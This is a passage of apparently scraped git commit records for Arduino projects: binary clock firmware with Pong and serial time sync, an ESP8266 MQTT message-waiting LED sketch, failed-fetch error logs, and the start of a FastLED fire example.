(dt_now.year() - 2000) \/ 10;\n\tsetValues[SET_Y2] = (dt_now.year() - 2000) % 10;\n\tsetValues[SET_MO1] = dt_now.month() \/ 10;\n\tsetValues[SET_MO2] = dt_now.month() % 10;\n\tsetValues[SET_D1] = dt_now.day() \/ 10;\n\tsetValues[SET_D2] = dt_now.day() % 10;\n\tsetValues[SET_H1] = dt_now.hour() \/ 10;\n\tsetValues[SET_H2] = dt_now.hour() % 10;\n\tsetValues[SET_MN1] = dt_now.minute() \/ 10;\n\tsetValues[SET_MN2] = dt_now.minute() % 10;\n}\n\n\/\/push setValues data to the RTC\ninline void adjustFromSetVal()\n{\n\tDateTime set = DateTime(\n\t\t(setValues[SET_Y1] * 10) + setValues[SET_Y2] + 2000,\n\t\t(setValues[SET_MO1] * 10) + setValues[SET_MO2],\n\t\t(setValues[SET_D1] * 10) + setValues[SET_D2],\n\t\t(setValues[SET_H1] * 10) + setValues[SET_H2],\n\t\t(setValues[SET_MN1] * 10) + setValues[SET_MN2] ,\n\t\t0\n\t\t);\n\n\tRTC->adjust(set);\n}\n\n\/\/Output current DateTime to serial debug\n\/\/Generally only used during testing since \n\/\/serial is normally turned off\n\/*\nvoid PrintDate(const DateTime& dt)\n{\nOD(dt.year()); \nOS(\" \"); \nOD(dt.month()); \nOS(\" \");\nOD(dt.day()); \nOS(\" - \");\nOD(dt.hour()); \nOS(\":\"); \nOD(dt.minute()); \nOS(\":\"); \nOD(dt.second());\nSerial.println();\n}\n*\/\n\n\/*\nKeeping the EEPROM stuff simple. \nOnly thing to save is the PWM level so \nwe just read it in the 0th byte of the \nEEPROM register and then constrain to max\/min\n*\/\ninline void ReadPwmLevel()\n{\n\tpwmLevel = EEPROM.read(0);\n\tif(pwmLevel <= 0 || pwmLevel > pwmMax)\n\t\tpwmLevel = pwmMax;\n}\n\nvoid setup()\n{\n\tReadPwmLevel(); \n\n\t\/*\n\tSupport for multiple RTC chip types including software only.\n\tRTC_METHOD is set in globals.h\n\tThe DS3231 has nearly identical registers to the DS1307 so if using that chip there\n\tis no real need to update RTC_METHOD, it will just work. Besides the current hardware has \n\tno place for the DS3231 (Chronodot)... maybe in the future.\n\tYou can, however, leave out the DS1307 chip and set RTC_METHOD to USE_SOFTRTC\/\n\tBut note that there is no battery backup in this case and you will loose time if you loose power.\n\t*\/\n\tif(RTC_METHOD == USE_DS1307)\n\t\tRTC = new RTC_DS1307(); \n\telse if(RTC_METHOD == USE_DS3231)\n\t\tRTC = new RTC_DS3231(); \n\telse\n\t\tRTC = new RTC_SOFT(DateTime(__DATE__, __TIME__));\n\n\t\/\/init reference for time delays. used with TimeElapsed() calls.\n\t\/\/set to 0 instead of millis() so it always triggers right away the first time\n\ttimeRef = 0;\n\n\t\/\/Setup common cathodes as outputs\n\tDDRC |= (_BV(PINC0) | _BV(PINC1) | _BV(PINC2) | _BV(PINC3));\n\t\/\/Setup rows as outputs\n\tDDRB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));\n\tDDRD |= (_BV(PIND6) | _BV(PIND7));\n\n\t\/\/Set PORTD2 and PORTD3 as inputs\n\tDDRD &= ~(_BV(PIND2) | _BV(PIND3));\n\t\/\/Enable set\/change button pullups\n\tPORTD |= (_BV(PIND2) | _BV(PIND3));\n\t\/\/Enable I2C pullups - probably not really necessary since twi.h does this for you\n\tPORTC |= (_BV(PINC4) | _BV(PINC5));\n\n\t\/\/see setResetDisable(bool) for info\n\tDDRD &= ~(_BV(PIND5)); \/\/Set PIND5 as input initially\n\tPORTD |= (_BV(PIND5)); \/\/Set high\n\n\t\/\/check for buttons held down at power up\n\tbSave = BUTTON_STATE;\n\n\t\/\/init global time value\n\tdispBuf = 0;\n\n\tWire.begin();\n\n\t\/\/Grab current time and set to compile time if RTC is uniitialized\n\tdt_now = RTC->now();\n\tif(dt_now.unixtime() <= SECONDS_FROM_1970_TO_2000 + 60) \/\/RTC not initialized and oscillator disabled\n\t{\n\t\tdt_now = DateTime(__DATE__, __TIME__);\n\t\tRTC->adjust(dt_now);\n\t}\n\tdispBuf = dt_now.unixtime();\n\n\tif(bSave != BUTTON_MASK && bSave & ~BUTTON_B)\n\t{\n\t\t\/\/check again just to be sure. RTC-now() has given a bit of a delay\n\t\tbSave = BUTTON_STATE;\n\t\tif(bSave != BUTTON_MASK && bSave & ~BUTTON_B)\n\t\t{\n\t\t\tcurState = STATE_PAUSE;\n\t\t\tdispBuf = 0xFFFFFFFF; \n\t\t\ttimeOutRef = millis();\n\t\t\tholdFlag = true;\n\t\t}\n\t}\n\n\tsetInterrupts();\n\n\tSerial.begin(SERIAL_BAUD);\n}\n\n\/*\nUsed for software disable of reset on Serial connection.\nSetting PIND5 to an output through a 110 ohm resistor \nlater will place 5V at low impedence on the reset pin, \npreventing it from reseting when RTS is pulsed on connection.\n*\/\ninline void setResetDisable(bool state)\n{\n\tif(state)\n\t\tDDRD |= (_BV(PIND5));\n\telse\n\t\tDDRD &= ~(_BV(PIND5)); \n} \n\n\/\/Setup all things interrupt related\ninline void setInterrupts()\n{\n\t\/\/disable interrupt timers\n\tcli();\n\t\/\/ Set up interrupt-on-change for buttons.\n\tEICRA = _BV(ISC10) | _BV(ISC00); \/\/ Trigger on any logic change\n\tEIMSK = _BV(INT1) | _BV(INT0); \/\/ Enable interrupts on pins\n\tbSave = BUTTON_STATE; \/\/ Get initial button state\n\n\t\/\/Setup Display Refresh Interrupt\n\tTCCR1A = 0;\/\/ set entire TCCR1A register to 0\n\tTCCR1B = 0;\/\/ same for TCCR1B\n\tTCNT1 = 0;\/\/initialize counter value to 0\n\n\t\/\/ set compare match register for 6400hz (800hz screen refresh) increments\n\tOCR1A = 2500;\/\/ = (16*10^6) \/ (1*6400) - 1 \n\t\/\/ turn on CTC mode\n\tTCCR1B |= _BV(WGM12);\n\n\tTCCR1B |= PRESCALE1_1; \n\t\/\/ enable timer compare interrupt\n\tTIMSK1 |= _BV(OCIE1A);\n\n\t\/\/Setup Timer2 interrupts for button handling\n\t\/\/Runs at about 60Hz, which is as slow as we can go\n\tTCCR2A = 0;\/\/ set entire TCCR1A register to 0\n\tTCCR2B = 0;\/\/ same for TCCR1B\n\tTCNT2 = 0;\/\/initialize counter value to 0\n\n\t\/\/ set compare match register for max\n\tOCR2A = 255;\n\t\/\/ turn on CTC mode\n\tTCCR2B |= _BV(WGM21);\n\n\tTCCR2B |= PRESCALE2_1024; \n\t\/\/ enable timer compare interrupt\n\tTIMSK2 |= _BV(OCIE2A);\n\n\t\/\/enable interrupt timers\n\tsei();\n}\n\ninline void endSerialSet()\n{\n\tSerial.end();\n\tsetResetDisable(false);\n\tcurState = prevState;\n}\n\n\/\/Timer2 interrupt for handling button presses\nISR(TIMER2_COMPA_vect)\n{\n\t\/\/ Check for button 'hold' conditions\n\tif(bSave != BUTTON_MASK) \n\t{ \/\/ button(s) held\n\t\tif(bCount >= holdMax && !holdFlag) \n\t\t{ \/\/held passed 1 second\n\t\t\tholdFlag = true;\n\t\t\tbCount = 0;\n\t\t\tif(bSave & ~BUTTON_A)\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tprevState = curState;\n\t\t\t\t\ttimeReady = false;\n\t\t\t\t\tsetCancel = false;\n\t\t\t\t\tcurState = STATE_MANUAL_SET;\n\t\t\t\t\tcurSet = SET_Y1;\n\t\t\t\t\tloadSetVals();\n\t\t\t\t\tsetChanged = true;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\t\/\/set to new time\n\t\t\t\t\ttimeReady = true;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_PAUSE)\n\t\t\t\t{\n\t\t\t\t\tcurState = prevState;\n\t\t\t\t\tReadPwmLevel(); \n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SERIAL_SET)\n\t\t\t\t{\n\t\t\t\t\tendSerialSet();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(bSave & ~BUTTON_B)\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tprevState = curState;\n\t\t\t\t\tcurState = STATE_PAUSE; \n\t\t\t\t\ttimeOutRef = millis(); \n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_PAUSE)\n\t\t\t\t{\n\t\t\t\t\tcurState = prevState;\n\t\t\t\t\tReadPwmLevel(); \n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\tsetCancel = true;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SERIAL_SET)\n\t\t\t\t{\n\t\t\t\t\tendSerialSet();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tprevState = curState;\n\t\t\t\t\tsetResetDisable(true);\n\t\t\t\t\tSerial.begin(SERIAL_BAUD);\n\t\t\t\t\t_serialScan = 16; \/\/start in middle\n\t\t\t\t\t_serialScanDir = false;\n\t\t\t\t\ttimeOutRef = millis();\n\t\t\t\t\tcurState = STATE_SERIAL_SET;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SERIAL_SET)\n\t\t\t\t{\n\t\t\t\t\tendSerialSet();\n\t\t\t\t}\n\t\t\t\telse if(STATE_PAUSE)\n\t\t\t\t{\n\t\t\t\t\tcurState = prevState;\n\t\t\t\t\tReadPwmLevel(); \n\t\t\t\t}\n\t\t\t}\n\t\t} \n\t\telse bCount++; \/\/ else keep counting...\n\t} \n}\n\n\/\/Button external interrupts\nISR(INT0_vect) {\n\tuint8_t state = BUTTON_STATE;\n\tif(state == BUTTON_MASK) \/\/both are high meaning they've been released\n\t{\n\t\tif(holdFlag)\n\t\t{\n\t\t\tholdFlag = false;\n\t\t\tbCount = 0;\n\t\t}\n\t\telse if(bCount > 3) \/\/past debounce threshold\n\t\t{\n\t\t\tif(bSave & ~BUTTON_A)\n\t\t\t{\n\t\t\t\tif(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\tnextSetValue();\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_FULL_BINARY)\n\t\t\t\t{\n\t\t\t\t\tcurState = STATE_SUB_BINARY;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_SUB_BINARY)\n\t\t\t\t{\n\t\t\t\t\tresetPongBall();\n\t\t\t\t\t_pongLScore = _pongRScore = 0;\n\t\t\t\t\tcurState = STATE_PONG;\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\tcurState = STATE_FULL_BINARY;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(bSave & ~BUTTON_B)\n\t\t\t{\n\t\t\t\tif(curState <= STATE_PONG)\n\t\t\t\t{\n\t\t\t\t\t\/\/Change PWM level\n\t\t\t\t\tpwmLevel--;\n\t\t\t\t\tif(pwmLevel <= 0 || pwmLevel > pwmMax)\n\t\t\t\t\t\tpwmLevel = pwmMax;\n\n\t\t\t\t\tEEPROM.write(0, pwmLevel);\n\t\t\t\t}\n\t\t\t\telse if(curState == STATE_MANUAL_SET)\n\t\t\t\t{\n\t\t\t\t\tincrementSetValue();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbCount = 0;\n\t}\n\telse if(state != bSave) {\n\t\tbCount = 0; \n\t}\n\n\tbSave = state;\n}\n\n\/\/Use the same handler for both INT0 and INT1 interrupts\nISR(INT1_vect, ISR_ALIASOF(INT0_vect));\n\n\/*\nWhere the magic happens. All the multiplexing is done here.\nWe start by disabling all the \"columns\" which actually means turning them to high\nsince this is common ground. \nIf in serial set mode we do a larson scanner instead of show the time.\nOtherwise set the states of each of the 4 LEDs in each row and then finally\nre-enable the column for this pass through the loop.\nIt requires 8 passes (1 per column) through this to update the display once.\nAs this is called at 6400Hz, we update the display fully at 800Hz.\n*\/\nvolatile uint8_t col = 0, row = 0;\nvolatile uint8_t scan_low = 0, scan_high = 0;\n#define SCAN_WIDTH 2\nISR(TIMER1_COMPA_vect)\n{\n\t\/\/Turn all columns off (High is off in this case since it's common cathode)\n\tPORTB |= (_BV(PINB0) | _BV(PINB1) | _BV(PINB2) | _BV(PINB3) | _BV(PINB4) | _BV(PINB5));\n\tPORTD |= (_BV(PIND6) | _BV(PIND7));\n\n\tif(curState == STATE_SERIAL_SET)\n\t{\n\t\tscan_low = _serialScan >= SCAN_WIDTH ? _serialScan - SCAN_WIDTH : 0;\n\t\tscan_high = _serialScan <= (31 - SCAN_WIDTH) ? _serialScan + SCAN_WIDTH : 31;\n\t\tbyte _scanOffset = 0;\n\t\tbyte _curStep = 0; \n\n\t\t\/\/set the 4 rows\n\t\tfor(row=0; row<4; row++)\n\t\t{\n\t\t\t_curStep = (row + (col * 4));\n\n\t\t\tif(_curStep < _serialScan) _scanOffset = (_serialScan - _curStep);\n\t\t\telse if(_curStep > _serialScan) _scanOffset = (_curStep - _serialScan);\n\t\t\telse _scanOffset = 0;\n\n\t\t\tif((_curStep >= scan_low && _curStep <= scan_high) &&\n\t\t\t\t(_serialScanStep < scanLevels[_scanOffset]))\n\t\t\t\tPORTC |= _BV(row);\n\t\t\telse\n\t\t\t\tPORTC &= ~_BV(row);\n\t\t}\n\n\t\t\/\/Enable the current column\n\t\tif(col < 6)\n\t\t\tPORTB &= ~_BV(col);\n\t\telse\n\t\t\tPORTD &= ~_BV(col);\n\t}\n\telse\n\t{\n\t\tif(pwmStep < pwmLevel)\n\t\t{\n\t\t\t\/\/set the 4 rows\n\t\t\tfor(row=0; row<4; row++)\n\t\t\t{\n\t\t\t\tif(dispBuf & (1UL << (row + (col * 4))))\n\t\t\t\t\tPORTC |= _BV(row);\n\t\t\t\telse\n\t\t\t\t\tPORTC &= ~_BV(row);\n\t\t\t} \n\n\t\t\t\/\/Enable the current column\n\t\t\tif(col < 6)\n\t\t\t\tPORTB &= ~_BV(col);\n\t\t\telse\n\t\t\t\tPORTD &= ~_BV(col);\n\t\t}\n\t}\n\n\tcol++;\n\tif(col == 8)\n\t{ \n\t\tcol = 0;\n\t\tpwmStep++;\n\t\tif(pwmStep == pwmMax)\n\t\t\tpwmStep = 0;\n\n\t\tif(curState == STATE_SERIAL_SET)\n\t\t{\n\t\t\t_serialScanStep++;\n\t\t\tif(_serialScanStep == 10) _serialScanStep = 0; \n\t\t}\n\t}\n}\n\n\/\/Helper for time delays without actually pausing execution\nbool TimeElapsed(unsigned long ref, unsigned long wait)\n{\n\tunsigned long now = millis();\n\n\tif(now < ref || ref == 0) \/\/for the 50 day rollover or first boot\n\t\treturn true; \n\n\tif((now - ref) > wait)\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\n\/*\nGet time from serial connection\nTime data is just the letter 't' followed by 4 bytes \nrepresenting a unix epoch 32-bit time stamp. \nThe time is assumed to already be adjusted for local \ntime zone and DST by the sending computer as RTC does not \nstore time as UTC.\n*\/\nbool getPCTimeSync()\n{\n\tbool result = false;\n\tif(Serial.available() >= SYNC_LEN)\n\t{\n\t\tbyte buf[5];\n\t\tmemset(buf, 0, 5);\n\t\tSerial.readBytes((char *)buf, 5);\n\t\tif(buf[0] == SYNC_HEADER)\n\t\t{\n\t\t\tuint32_t t = 0;\n\t\t\tmemcpy(&t, buf+1, 4);\n\t\t\tRTC->adjust(DateTime(t));\n\t\t\tSerial.write(42); \/\/Writes out to confirm we got it (sends as a *)\n\t\t\tSerial.flush();\n\t\t\tresult = true;\n\t\t\twhile(Serial.available()) Serial.read(); \/\/clear the bufer\n\t\t\tSerial.end();\n\t\t\tsetResetDisable(false);\n\t\t}\n\t\telse if(buf[0] == GET_HEADER)\n\t\t{\n\t\t\tdt_now = RTC->now();\n\t\t\tuint32_t time = dt_now.unixtime();\n\t\t\tmemset(buf, 0, 5);\n\t\t\tbuf[0] = SYNC_HEADER;\n\t\t\tmemcpy(buf+1, &time, 4);\n\t\t\tSerial.write(buf, 5);\n\t\t\tSerial.flush();\n\t\t\tresult = true;\n\t\t}\n\t}\n\n\treturn result;\n}\n\ninline void resetPongBall() \n{ \n\trandomSeed(millis());\n\t_pongBall = random(2) ? 15 : 16; \n\t_pongDir = _pongBall > 15;\n\t_pongPaddles = (1UL << 31) | (1UL << 0);\n}\n\ninline void randomPongPaddles()\n{\n\n\tswitch ( random(4) % 4)\n\t{\n\tcase 0:\n\t\t_pongPaddles = 0;\n\t\tbreak;\n\tcase 1: \n\t\t_pongPaddles = (1UL << 31);\n\t\tbreak;\n\tcase 2: \n\t\t_pongPaddles = (1UL << 0);\n\t\tbreak;\n\tcase 3: \n\t\t_pongPaddles = (1UL << 31) | (1UL << 0);\n\t\tbreak;\n\t}\n}\n\n\/*\nThe main program state machine.\nMost of the time this will just be updating the time every 500ms\n(1000ms can cause noticable jumps if program execution takes longer than normal).\n*\/\nvoid loop()\n{\n\n\tif(curState == STATE_FULL_BINARY)\n\t{\n\t\tif(TimeElapsed(timeRef, 500))\n\t\t{\n\t\t\ttimeRef = millis();\n\t\t\tdt_now = RTC->now();\n\t\t\tdispBuf = dt_now.unixtime();\n\t\t}\n\t}\n\t\/\/many thanks to Josh Ward for this new clock \"face\" that's a little more readable\n\t\/\/https:\/\/github.com\/kredal\/\n\t\/\/Use the following \"key\" for reading in this mode: http:\/\/maniacallabs.com\/misc\/Binary_Clock_Key.png\n\t\/\/Tapping A will now switch between the modes\n\telse if(curState == STATE_SUB_BINARY)\n\t{\n\t\tif(TimeElapsed(timeRef, 500))\n\t\t{\n\t\t\ttimeRef = millis();\n\t\t\tdt_now = RTC->now();\n\n\t\t\tsbVals[0] = dt_now.second();\n\t\t\tsbVals[1] = dt_now.minute();\n\t\t\tsbVals[2] = dt_now.hour();\n\t\t\tsbVals[3] = dt_now.day();\n\t\t\tsbVals[4] = dt_now.month();\n\t\t\tsbVals[5] = dt_now.year() - 2000;\n\n\t\t\tint i = 0;\n\t\t\tfor(int i=0; i<=5; i++)\n\t\t\t{\n\t\t\t\tfor(sbCurBit=0; sbCurBit <= sbBits[i]; sbCurBit++)\n\t\t\t\t{\n\t\t\t\t\tif(sbVals[i] & (1UL << sbCurBit))\n\t\t\t\t\t\tdispBuf |= (1UL << sbCurBit + sbOffsets[i]);\n\t\t\t\t\telse\n\t\t\t\t\t\tdispBuf &= ~(1UL << sbCurBit + sbOffsets[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\telse if(curState == STATE_PONG)\n\t{\n\t\tif(TimeElapsed(timeRef, _pongTimeout))\n\t\t{\n\t\t\ttimeRef = millis();\n\t\t\tif(_pongShowScore)\n\t\t\t{\n\t\t\t\t_pongShowScore = false;\n\t\t\t\t_pongTimeout = PONG_TIMEOUT;\n\t\t\t\tif(_pongLScore >= 16 || _pongRScore >= 16)\n\t\t\t\t{\n\t\t\t\t\t_pongLScore = _pongRScore = 0;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(_pongDir)\n\t\t\t{\n\t\t\t\tif(_pongBall == 30)\n\t\t\t\t{\n\t\t\t\t\tif(_pongPaddles & (1UL << 31))\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongDir = false;\n\t\t\t\t\t\trandomPongPaddles();\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongRScore++;\n\t\t\t\t\t\t_pongShowScore = true;\n\t\t\t\t\t\tresetPongBall();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif(_pongBall == 1)\n\t\t\t\t{\n\t\t\t\t\tif(_pongPaddles & (1UL << 0))\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongDir = true; \n\t\t\t\t\t\trandomPongPaddles();\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t_pongLScore++;\n\t\t\t\t\t\t_pongShowScore = true;\n\t\t\t\t\t\tresetPongBall();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_pongBall += _pongDir ? 1 : -1;\n\n\t\t\tif(_pongShowScore)\n\t\t\t{\n\t\t\t\t_pongTimeout = 1000;\n\t\t\t\tdispBuf = (((1UL << 32) - 1) - ((1UL << (32 - _pongLScore)) - 1)) + ((1UL << _pongRScore) - 1);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tdispBuf = _pongPaddles | (1UL << _pongBall);\n\t\t\t}\n\t\t}\n\t}\n\telse if(curState == STATE_PAUSE)\n\t{\n\t\tif(TimeElapsed(timeOutRef, 600000))\n\t\t{\n\t\t\tcurState = prevState;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(TimeElapsed(timeRef, 50))\n\t\t\t{\n\t\t\t\ttimeRef = millis();\n\t\t\t\tif(pwmLevel == pwmMax) fadeDir = false;\n\t\t\t\telse if(pwmLevel == 1) fadeDir = true;\n\t\t\t\tpwmLevel += (fadeDir ? 1 : -1);\n\t\t\t}\n\t\t}\n\t}\n\telse if(curState == STATE_MANUAL_SET)\n\t{\n\t\tif(timeReady)\n\t\t{\n\t\t\tadjustFromSetVal();\n\t\t\tcurState = prevState; \n\t\t}\n\t\telse if(setChanged)\n\t\t{\n\t\t\tsetChanged = false;\n\t\t\tuint32_t temp = 0;\n\t\t\tif(setValues[curSet])\n\t\t\t\ttemp += ((1UL << setValues[curSet]) - 1);\n\n\t\t\ttemp |= (1UL << (31 - curSet)); \n\t\t\tdispBuf = temp;\n\t\t}\n\t\telse if(setCancel)\n\t\t{\n\t\t\tcurState = prevState;\n\t\t}\n\n\t}\n\telse if(curState == STATE_SERIAL_SET)\n\t{\n\t\tif(TimeElapsed(timeOutRef, 30000))\n\t\t{\n\t\t\tSerial.end();\n\t\t\tsetResetDisable(false);\n\t\t\tcurState = prevState;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif(TimeElapsed(timeRef, 40))\n\t\t\t{\n\t\t\t\ttimeRef = millis();\n\t\t\t\tif(_serialScan == 31) _serialScanDir = false;\n\t\t\t\telse if(_serialScan == 0) _serialScanDir = true;\n\t\t\t\t_serialScan += (_serialScanDir ? 1 : -1);\n\t\t\t}\n\n\t\t\t\/\/check for serial data for time sync\n\t\t\tif(getPCTimeSync())\n\t\t\t\tcurState = prevState;\n\t\t}\n\t}\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"b4f61a2c77c36d6f8405ca8ecb5356f0b187c704","subject":"Create ver3.ino","message":"Create ver3.ino","repos":"Electroscholars\/LineFollower","old_file":"Left Turn and Stop Fixed\/PDFollower\/updates\/ver3.ino","new_file":"Left Turn and Stop Fixed\/PDFollower\/updates\/ver3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/LineFollower.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9d42f4f6002119f7544a4da065002797dd1957ce","subject":"Initial version of message waiting indicator","message":"Initial version of message waiting indicator\n\nListens on MQTT topic for messages indicating if a message\nis waiting or not. If there is a message waiting blinks an\nLED at a regular interval.\n","repos":"mhdawson\/arduino-esp8266,mhdawson\/arduino-esp8266","old_file":"MessageWaiingIndicator\/MessageWaiingIndicator.ino","new_file":"MessageWaiingIndicator\/MessageWaiingIndicator.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include <Wire.h>\n\n\/\/ device specifics\n#include \"WirelessConfig.h\"\n\n#define BLINK_INTERVAL_SECONDS 1\n#define LED_PIN D6\n#define MESSAGE_WAITING_TOPIC \"phone\/messageWaiting\"\n\nIPAddress server(mqttServer[0], mqttServer[1],\n mqttServer[2], mqttServer[3]);\n\nWiFiClient wclient;\nESP8266WiFiGenericClass wifi;\nPubSubClient client(wclient, server);\n\nboolean messageWaiting;\nboolean ledOn;\n\nvoid callback(const MQTT::Publish& pub) {\n if(0 == strcmp(pub.payload_string().c_str(), \"1\")) {\n messageWaiting = true;\n } else {\n messageWaiting = false;\n }\n}\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, LOW);\n messageWaiting = false;\n ledOn = false;\n \n Serial.begin(115200);\n Serial.println(\"starting\");\n \n \/\/ turn of the Access Point as we are not using it\n wifi.mode(WIFI_STA);\n\n client.set_callback(callback);\n}\n\n\nvoid loop() {\n client.loop();\n\n \/\/ make sure we are good for wifi\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n WiFi.begin(ssid, pass);\n \n if (WiFi.waitForConnectResult() != WL_CONNECTED) {\n return;\n }\n Serial.println(\"WiFi connected\");\n }\n\n if (!client.connected()) {\n if (client.connect(\"sensclient\")) {\n client.subscribe(MESSAGE_WAITING_TOPIC);\n }\n }\n\n if ((true == messageWaiting) && (false == ledOn)) {\n digitalWrite(LED_PIN, HIGH);\n ledOn = true;\n } else {\n digitalWrite(LED_PIN, LOW);\n ledOn = false;\n }\n \n delay(BLINK_INTERVAL_SECONDS * 1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MessageWaiingIndicator\/MessageWaiingIndicator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"407c44521bf74383cad59a7efaaac8441e88ed9d","subject":"Asservissement moteur: update caracterisationVitessePWM","message":"Asservissement moteur: update caracterisationVitessePWM\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6d4d750100154ac1d9634f1b53398554149767ab","subject":"Delete Arduino-DHT22-MySQL-Node.ino","message":"Delete Arduino-DHT22-MySQL-Node.ino","repos":"lafontas\/Smart-Home","old_file":"Arduino\/Arduino-DHT22-MySQL-Node\/Arduino-DHT22-MySQL-Node.ino","new_file":"Arduino\/Arduino-DHT22-MySQL-Node\/Arduino-DHT22-MySQL-Node.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lafontas\/Smart-Home.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a4510921459622600253bd488aa6e25bff64c712","subject":"Adding Fire2012WithPalette example","message":"Adding Fire2012WithPalette example\n","repos":"ryankenney\/FastLED,yaneexy\/FastLED,yaneexy\/FastLED,wilhelmryan\/FastLED,eshkrab\/FastLED-esp32,MiketheChap\/FastLED,FastLED\/FastLED,tullo-x86\/FastLED,neographophobic\/FastLED,ryankenney\/FastLED,MattDurr\/FastLED,kcouck\/FastLED,MiketheChap\/FastLED,wilhelmryan\/FastLED,kcouck\/FastLED,FastLED\/FastLED,remspoor\/FastLED,eshkrab\/FastLED-esp32,PaulStoffregen\/FastLED,tullo-x86\/FastLED,felixLam\/FastLED,liyanage\/FastLED,remspoor\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,PaulStoffregen\/FastLED,NicoHood\/FastLED,MattDurr\/FastLED,corbinstreehouse\/FastLED,liyanage\/FastLED,PaulStoffregen\/FastLED,NicoHood\/FastLED,wsilverio\/FastLED,felixLam\/FastLED,FastLED\/FastLED,neographophobic\/FastLED,wsilverio\/FastLED","old_file":"examples\/Fire2012WithPalette\/Fire2012WithPalette.ino","new_file":"examples\/Fire2012WithPalette\/Fire2012WithPalette.ino","new_contents":"#include <FastLED.h>\n\n#define LED_PIN 5\n#define COLOR_ORDER GRB\n#define CHIPSET WS2811\n#define NUM_LEDS 30\n\n#define BRIGHTNESS 200\n#define FRAMES_PER_SECOND 60\n\nCRGB leds[NUM_LEDS];\n\n\/\/ Fire2012 with programmable Color Palette\n\/\/\n\/\/ This code is the same fire simulation as the original \"Fire2012\",\n\/\/ but each heat cell's temperature is translated to color through a FastLED\n\/\/ programmable color palette, instead of through the \"HeatColor(...)\" function.\n\/\/\n\/\/ Four different static color palettes are provided here, plus one dynamic one.\n\/\/ \n\/\/ The three static ones are: \n\/\/ 1. the FastLED built-in HeatColors_p -- this is the default, and it looks\n\/\/ pretty much exactly like the original Fire2012.\n\/\/\n\/\/ To use any of the other palettes below, just \"uncomment\" the corresponding code.\n\/\/\n\/\/ 2. a gradient from black to red to yellow to white, which is\n\/\/ visually similar to the HeatColors_p, and helps to illustrate\n\/\/ what the 'heat colors' palette is actually doing,\n\/\/ 3. a similar gradient, but in blue colors rather than red ones,\n\/\/ i.e. from black to blue to aqua to white, which results in\n\/\/ an \"icy blue\" fire effect,\n\/\/ 4. a simplified three-step gradient, from black to red to white, just to show\n\/\/ that these gradients need not have four components; two 